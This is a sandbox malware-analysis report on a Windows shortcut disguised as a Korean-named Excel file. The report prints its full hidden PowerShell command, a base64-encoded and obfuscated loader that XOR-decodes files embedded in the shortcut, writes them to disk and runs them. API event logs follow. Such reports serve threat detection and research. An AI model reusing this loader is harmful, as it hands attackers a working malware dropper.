Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	June 3, 2024, 1:24 p.m.	June 3, 2024, 1:26 p.m.

Size	9.8KB
Type	MS Windows shortcut, Has command line arguments, Icon number=0, Archive, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5	`0993cf18121be84f5b1511318df80f44`
SHA256	`21900e37d1184093e2333fe7931a8a5c217aa5fd24cfd7650bc6fadbb31f7d8a`
CRC32	`439A3EFE`
ssdeep	`192:8fxo8a5Pc3weYpzKWQGrbM8VfFHtePg4db8E:78Pg3zKKrbM8V9Ht+v`
Yara	lnk_file_format - Microsoft Windows Shortcut File Format Antivirus - Contains references to security software Lnk_Format_Zero - LNK Format Generic_Malware_Zero - Generic Malware

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "xfXjODk" C:\Users\test22\AppData\Local\Temp\김명희_20240515.xlsx.lnk
2548
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -nop -NoProfile -NonInteractive -ep bypass -command $ol = 0x00000f2e; $tl = 0x0000270b; $a='JGxua3BhdGggPSBHZXQtQ2hpbGRJdGVtICoubG5rIHwgd2hlcmUtb2JqZWN0IHskXy5sZW5ndGggLWVxICR0bH0gfCBTZWxlY3QtT2JqZWN0IC1FeHBhbmRQcm9wZXJ0eSBOYW1lOyBpZigkbG5rcGF0aC5jb3VudCAtZXEgMCl7JGxua3BhdGggPSBHZXQtQ2hpbGRJdGVtICRlbnY6VEVNUFwqXCoubG5rIHwgd2hlcmUtb2JqZWN0IHskXy5sZW5ndGggLWVxICR0bH07fTskZmlsZSA9IGdjICRsbmtwYXRoIC1FbmNvZGluZyBCeXRlOyAkZmlsZVNpemUgPSAkZmlsZS5jb3VudDskaT0kb2w7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGkgLWx0ICRmaWxlU2l6ZSl7JGJYb3I9JGZpbGVbJGldOyRiUnVuPSRmaWxlWyRpKzFdOyRkd1BhdGhMZW49W2JpdGNvbnZlcnRlcl06OlRvSW50MzIoJGZpbGUsICRpKzIpOyRkd0RhdGFMZW49W2JpdGNvbnZlcnRlcl06OlRvSW50MzIoJGZpbGUsICRpKzYpOyRmaT0xMDsgICAgICAgICBmb3IoW2ludF0kcD0kaSskZmk7ICRwIC1sdCAoJGkgKyAkZmkgKyRkd1BhdGhMZW4gKyAkZHdEYXRhTGVuKTsgJHArKyl7ICRmaWxlWyRwXSA9ICRmaWxlWyRwXSAtYnhvciAkYlhvcn07W2J5dGVbXV0kcGF0aEhleCA9ICRmaWxlWygkaSskZmkpLi4oJGkrJGZpKyRkd1BhdGhMZW4tMSldOyRwYXRoID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0U3RyaW5nKCRmaWxlWygkaSskZmkpLi4oJGkrJGZpKyRkd1BhdGhMZW4tMildKTsgc2MgJHBhdGggKFtieXRlW11dKCRmaWxlIHwgc2VsZWN0IC1Ta2lwICgkaSskZmkrJGR3UGF0aExlbikgfCBzZWxlY3QgLVNraXBMYXN0ICgkZmlsZVNpemUtJGktJGZpLSRkd1BhdGhMZW4tJGR3RGF0YUxlbikpKSAtRW5jb2RpbmcgQnl0ZTtpZigkYlJ1bil7JiRwYXRoO30kaT0kaSskZmkrJGR3UGF0aExlbiskZHdEYXRhTGVuO30=';$bytes = [Convert]::FromBase64String($a);$res = -join ($bytes -as [char[]]);&('{0}{3}{1}{4}{2}'-f 'Inv','ke-','n','o','Expressio') $res
  2664

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (8 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 3, 2024, 1:24 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 3, 2024, 1:24 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 3, 2024, 1:24 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 3, 2024, 1:24 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 3, 2024, 1:24 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 3, 2024, 1:24 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 3, 2024, 1:24 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 3, 2024, 1:24 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 3, 2024, 1:24 p.m.			0	0

Command line console output was observed (50 out of 190 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: Select-Object : A parameter cannot be found that matches parameter name 'SkipLa console_handle: 0x00000023	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: st'. console_handle: 0x0000002f	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: At line:1 char:829 console_handle: 0x0000003b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: + $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq $tl} \| Select-Ob console_handle: 0x00000047	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: ject -ExpandProperty Name; if($lnkpath.count -eq 0){$lnkpath = Get-ChildItem $e console_handle: 0x00000053	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: nv:TEMP\\.lnk \| where-object {$_.length -eq $tl};};$file = gc $lnkpath -Encod console_handle: 0x0000005f	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: ing Byte; $fileSize = $file.count;$i=$ol; console_handle: 0x0000006b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: while($i -lt $fileSize){$bXor=$file[$i];$bRun=$file[$i+1];$dwPathL console_handle: 0x00000077	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: en=[bitconverter]::ToInt32($file, $i+2);$dwDataLen=[bitconverter]::ToInt32($fil console_handle: 0x00000083	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: e, $i+6);$fi=10; for([int]$p=$i+$fi; $p -lt ($i + $fi +$dwPathLen + $dw console_handle: 0x0000008f	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: DataLen); $p++){ $file[$p] = $file[$p] -bxor $bXor};[byte[]]$pathHex = $file[($ console_handle: 0x0000009b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: i+$fi)..($i+$fi+$dwPathLen-1)];$path = [System.Text.Encoding]::ASCII.GetString( console_handle: 0x000000a7	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: $file[($i+$fi)..($i+$fi+$dwPathLen-2)]); sc $path ([byte[]]($file \| select -Ski console_handle: 0x000000b3	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: p ($i+$fi+$dwPathLen) \| select -SkipLast <<<< ($fileSize-$i-$fi-$dwPathLen-$dw console_handle: 0x000000bf	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: DataLen))) -Encoding Byte;if($bRun){&$path;}$i=$i+$fi+$dwPathLen+$dwDataLen;} console_handle: 0x000000cb	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: + CategoryInfo : InvalidArgument: (:) [Select-Object], ParameterB console_handle: 0x000000d7	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: indingException console_handle: 0x000000e3	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: + FullyQualifiedErrorId : NamedParameterNotFound,Microsoft.PowerShell.Comm console_handle: 0x000000ef	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: ands.SelectObjectCommand console_handle: 0x000000fb	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: Select-Object : A parameter cannot be found that matches parameter name 'SkipLa console_handle: 0x00000023	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: st'. console_handle: 0x0000002f	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: At line:1 char:829 console_handle: 0x0000003b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: + $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq $tl} \| Select-Ob console_handle: 0x00000047	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: ject -ExpandProperty Name; if($lnkpath.count -eq 0){$lnkpath = Get-ChildItem $e console_handle: 0x00000053	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: nv:TEMP\\.lnk \| where-object {$_.length -eq $tl};};$file = gc $lnkpath -Encod console_handle: 0x0000005f	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: ing Byte; $fileSize = $file.count;$i=$ol; console_handle: 0x0000006b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: while($i -lt $fileSize){$bXor=$file[$i];$bRun=$file[$i+1];$dwPathL console_handle: 0x00000077	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: en=[bitconverter]::ToInt32($file, $i+2);$dwDataLen=[bitconverter]::ToInt32($fil console_handle: 0x00000083	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: e, $i+6);$fi=10; for([int]$p=$i+$fi; $p -lt ($i + $fi +$dwPathLen + $dw console_handle: 0x0000008f	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: DataLen); $p++){ $file[$p] = $file[$p] -bxor $bXor};[byte[]]$pathHex = $file[($ console_handle: 0x0000009b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: i+$fi)..($i+$fi+$dwPathLen-1)];$path = [System.Text.Encoding]::ASCII.GetString( console_handle: 0x000000a7	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: $file[($i+$fi)..($i+$fi+$dwPathLen-2)]); sc $path ([byte[]]($file \| select -Ski console_handle: 0x000000b3	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: p ($i+$fi+$dwPathLen) \| select -SkipLast <<<< ($fileSize-$i-$fi-$dwPathLen-$dw console_handle: 0x000000bf	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: DataLen))) -Encoding Byte;if($bRun){&$path;}$i=$i+$fi+$dwPathLen+$dwDataLen;} console_handle: 0x000000cb	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: + CategoryInfo : InvalidArgument: (:) [Select-Object], ParameterB console_handle: 0x000000d7	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: indingException console_handle: 0x000000e3	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: + FullyQualifiedErrorId : NamedParameterNotFound,Microsoft.PowerShell.Comm console_handle: 0x000000ef	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: ands.SelectObjectCommand console_handle: 0x000000fb	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: Select-Object : A parameter cannot be found that matches parameter name 'SkipLa console_handle: 0x0000011b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: st'. console_handle: 0x00000127	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: At line:1 char:829 console_handle: 0x00000133	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: + $lnkpath = Get-ChildItem *.lnk \| where-object {$_.length -eq $tl} \| Select-Ob console_handle: 0x0000013f	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: ject -ExpandProperty Name; if($lnkpath.count -eq 0){$lnkpath = Get-ChildItem $e console_handle: 0x0000014b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: nv:TEMP\\.lnk \| where-object {$_.length -eq $tl};};$file = gc $lnkpath -Encod console_handle: 0x00000157	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: ing Byte; $fileSize = $file.count;$i=$ol; console_handle: 0x00000163	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: while($i -lt $fileSize){$bXor=$file[$i];$bRun=$file[$i+1];$dwPathL console_handle: 0x0000016f	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: en=[bitconverter]::ToInt32($file, $i+2);$dwDataLen=[bitconverter]::ToInt32($fil console_handle: 0x0000017b	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: e, $i+6);$fi=10; for([int]$p=$i+$fi; $p -lt ($i + $fi +$dwPathLen + $dw console_handle: 0x00000187	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: DataLen); $p++){ $file[$p] = $file[$p] -bxor $bXor};[byte[]]$pathHex = $file[($ console_handle: 0x00000193	1	1
WriteConsoleW June 3, 2024, 1:24 p.m.	buffer: i+$fi)..($i+$fi+$dwPathLen-1)];$path = [System.Text.Encoding]::ASCII.GetString( console_handle: 0x0000019f	1	1

Uses Windows APIs to generate a cryptographic key (48 events)

Time & API	Arguments	Status	Return
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e858 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ec18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ec18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ec18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ec18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ec18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ec18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e598 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e598 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e598 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e798 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062e998 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0062ebd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 3, 2024, 1:24 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x006bea90 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 3, 2024, 1:24 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 151 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 262144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0275a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02752000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02762000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0280a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02763000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02764000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0281b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02817000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0275b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02802000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02815000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02765000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0280c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02766000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0281c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02803000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02804000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 3, 2024, 1:24 p.m.	process_identifier: 2664 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02805000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
